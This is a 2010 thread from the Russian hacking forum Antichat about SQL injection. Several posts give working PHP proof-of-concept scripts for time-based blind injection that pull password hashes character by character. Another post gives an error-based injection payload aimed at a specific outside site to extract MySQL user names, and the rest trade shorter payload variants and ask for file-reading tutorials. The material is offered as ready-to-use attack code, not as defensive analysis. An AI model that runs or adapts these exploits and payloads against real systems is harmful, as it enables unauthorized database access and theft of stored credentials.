Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

30.01.2010, 01:23
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Тут возникли некоторые вопросы по поводу мотивировок использования этого метода. Метод с find_in_set без sleep() неприменим в абсолютно слепых скулях, там, где нет вообще никакого вывода контента, то есть при различных id контент будет одним и тем же. А метод с benchmark() сильно грузит сервер.
Сделал увеличение шага между позициями в дельту (в данном примере 2).
( pastebin)
PHP код:
<?php
$url = "http://site.ru/news.php?id=1";
$id = 0;
function testtime($url) {
$time = time()+microtime();
file_get_contents($url);
return time()+microtime()-$time;
}
echo "Test time: ".$testtime=testtime($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res = "";
for($i=1;$i<33;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(2*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
$res = $res.$sym[round((time()+microtime()-$time-$testtime)/2-1)];
}
echo "Hash: ".$res;
?>
Ещё вариант с заменой учёта погрешности сложением на умножение. В такой реализации почему-то появились ошибки...
( pastebin)
PHP код:
<?php
$url = "http://site.ru/news.php?id=1";
$id = 0;
function avrg($arr) {
foreach ($arr as $val) {
$sum+=$val;
}
return $sum/count($arr);
}
function delta($url) {
$tests = array();
for($i=0;$i<1;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(1)");
$tests[$i] = time()+microtime()-$time;
}
return 1/avrg($tests);
}
echo "Test time: ".$delta=delta($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res = "";
for($i=1;$i<33;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(instr(2*(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
$res = $res.$sym[round($delta*(time()+microtime()-$time)/2)];
}
echo "Hash: ".$res;
?>
Последний раз редактировалось Root-access; 30.01.2010 в 01:28..
|
|
|

30.01.2010, 13:59
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
По советам сделал улучшенную версию с вычисляемой дельтой. Нужно ли ещё обтесать алгоритм?
Pastebin
PHP код:
<?php
$url = "http://site.ru/news.php?id=1"; //URL запроса до "+AND+..."
$id = 0; //Номер пользователя
$coef = 2; //Множитель
$try = 5; //Кол-во проверочных запросов
function avrg($arr) {
foreach ($arr as $val) {
$sum+=$val;
}
return $sum/count($arr);
}
function delta($url) {
$tests = array();
for($i=0;$i<=$try;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(1)");
$tests[$i] = time()+microtime()-$time;
}
return avrg($tests);
}
function testtime($url) {
$time = time()+microtime();
file_get_contents($url);
return time()+microtime()-$time;
}
$delta = round($coef*delta($url));
$testtime=testtime($url);
echo "<b>Blind SQL-Injection pattern PoC-exploit by Root-access</b><br>";
echo "Request type: $url+and+sleep(substring(version(),1,1))<br>";
echo "Test time: $testtime<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res = "";
for($i=1;$i<33;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep($delta*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+$id,1),$i,1))))");
$res = $res.$sym[round((time()+microtime()-$time-$testtime)/$delta-1)];
}
echo "Hash: ".$res;
?>
Последний раз редактировалось Root-access; 02.02.2010 в 14:00..
|
|
|

01.02.2010, 18:35
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
не актуальный ресерч по методу 12 ошибок.
т.к. кол-во приведеных ошибок крайне мало, возникла идея "динамического" использования рантайм ошибок mysql, которые могут содержать информацию от клиента, для примера я взял error column 'xxx' cannot be null forum.antichat.ru/showpost.php?p=1716996&postcount=18
если использовать not null колонки в конкатенации с необходимым диапазоном символов, можно составить универсальный (но длинный'() запрос на основе 1 ошибки
вот конкретная реализация для всех символов из диапазона [0..9],[A..Z],[a..z]
http://widener.webstudy.com/doc.php?id=elt(ascii(substring((select user from mysql.user limit 1,1),1,1))-47,(select user-'0'from mysql.user union select 1%0 limit 1),(select user-'1'from mysql.user union select 1%0 limit 1),(select user-'2'from mysql.user union select 1%0 limit 1),(select user-'3'from mysql.user union select 1%0 limit 1),(select user-'4'from mysql.user union select 1%0 limit 1),(select user-'5'from mysql.user union select 1%0 limit 1),(select user-'6'from mysql.user union select 1%0 limit 1),(select user-'7'from mysql.user union select 1%0 limit 1),(select user-'8'from mysql.user union select 1%0 limit 1),(select user-'9'from mysql.user union select 1%0 limit 1),1,1,1,1,1,1,1,(select user-'A'from mysql.user union select 1%0 limit 1),(select user-'B'from mysql.user union select 1%0 limit 1),(select user-'C'from mysql.user union select 1%0 limit 1),(select user-'D'from mysql.user union select 1%0 limit 1),(select user-'E'from mysql.user union select 1%0 limit 1),(select user-'F'from mysql.user union select 1%0 limit 1),(select user-'G'from mysql.user union select 1%0 limit 1),(select user-'H'from mysql.user union select 1%0 limit 1),(select user-'I'from mysql.user union select 1%0 limit 1),(select user-'J'from mysql.user union select 1%0 limit 1),(select user-'K'from mysql.user union select 1%0 limit 1),(select user-'L'from mysql.user union select 1%0 limit 1),(select user-'M'from mysql.user union select 1%0 limit 1),(select user-'N'from mysql.user union select 1%0 limit 1),(select user-'O'from mysql.user union select 1%0 limit 1),(select user-'P'from mysql.user union select 1%0 limit 1),(select user-'Q'from mysql.user union select 1%0 limit 1),(select user-'R'from mysql.user union select 1%0 limit 1),(select user-'S'from mysql.user union select 1%0 limit 1),(select user-'T'from mysql.user union select 1%0 limit 1),(select user-'U'from mysql.user union select 1%0 limit 1),(select user-'V'from mysql.user union select 1%0 limit 1),(select user-'W'from mysql.user union select 1%0 limit 1),(select user-'X'from mysql.user union select 1%0 limit 1),(select user-'Y'from mysql.user union select 1%0 limit 1),(select user-'Z'from mysql.user union select 1%0 limit 1),1,1,1,1,1,1,(select user-0x61 from mysql.user union select 1%0 limit 1),(select user-0x62 from mysql.user union select 1%0 limit 1),(select user-0x63 from mysql.user union select 1%0 limit 1),(select user-0x64 from mysql.user union select 1%0 limit 1),(select user-0x65 from mysql.user union select 1%0 limit 1),(select user-0x66 from mysql.user union select 1%0 limit 1),(select user-0x67 from mysql.user union select 1%0 limit 1),(select user-0x68 from mysql.user union select 1%0 limit 1),(select user-0x69 from mysql.user union select 1%0 limit 1),(select user-0x6A from mysql.user union select 1%0 limit 1),(select user-0x6B from mysql.user union select 1%0 limit 1),(select user-0x6C from mysql.user union select 1%0 limit 1),(select user-0x6D from mysql.user union select 1%0 limit 1),(select user-0x6E from mysql.user union select 1%0 limit 1),(select user-0x6F from mysql.user union select 1%0 limit 1),(select user-0x70 from mysql.user union select 1%0 limit 1),(select user-0x71 from mysql.user union select 1%0 limit 1),(select user-0x72 from mysql.user union select 1%0 limit 1),(select user-0x73 from mysql.user union select 1%0 limit 1),(select user-0x74 from mysql.user union select 1%0 limit 1),(select user-0x75 from mysql.user union select 1%0 limit 1),(select user-0x76 from mysql.user union select 1%0 limit 1),(select user-0x77 from mysql.user union select 1%0 limit 1),(select user-0x78 from mysql.user union select 1%0 limit 1),(select user-0x79 from mysql.user union select 1%0 limit 1),(select user-0x7A from mysql.user union select 1%0 limit 1))
Column 'user-0x72' cannot be null, 0x72 = r (root)
т.е. в зависимости от результата подзапроса возвращается n-ая ошибка содержащая n-ый символ, -47 - ascii(0)-1 (подгонка под функцию elt)
итого: 1 запрос к бд и огромные лог файлы на сервере => помидорами не закидывать 
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|

29.04.2010, 23:15
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме: 556476
Репутация:
66
|
|
Уважаемые профи, спс за ваши усилия в развитии новых методов. Вот все прекрасно обьяснили, но как то никто не прояснил про load_file через floor rand и name_const
Сегодня было дело прочест файли при условии floor и тока v1d0qz посоветовал как делать load_file(огромный респект ему).
Если вам не составит труда напишите одну норм статью или тутор чтоб охватило всё что касается эксплуатации через Floor & Name_const
и чтоб прояснили можно ли делать into outfile и другие способы. Я еще нигде не видел подобных статей который начали с 0 до открытия скажем рдп.
Имеется ввиду тока эти два метода вывода через ошибок.
Если не хотите чтоб эти методы опубликовалис на всем инете на разных языках и разработчики придумали новые методи защиты(хз может уже придумали) то просто сделайте по одному примеру с каждого запроса маленким обьяснением тут.
PS. это будет хорошым ответом на многие вопросы в разделе Ваши вопросы по уязвимостьям так как много там вопросов про те методы. Спс думаю не нарушил правило 
|
|
|

13.06.2010, 20:50
|
|
Новичок
Регистрация: 03.01.2009
Сообщений: 27
Провел на форуме: 367442
Репутация:
41
|
|
Малюсенькое дополнение по error based инъекциям на основе rand.
Вместо floor(rand(0)*2) можно использовать rand(0)|0, rand(0)&1 или rand(0)^0. (& в get запросах отправлять как %26).
На случай, если каждый символ на счету, а запросы при такой инъекции не маленькие )
Последний раз редактировалось BlackFan; 14.06.2010 в 19:43..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|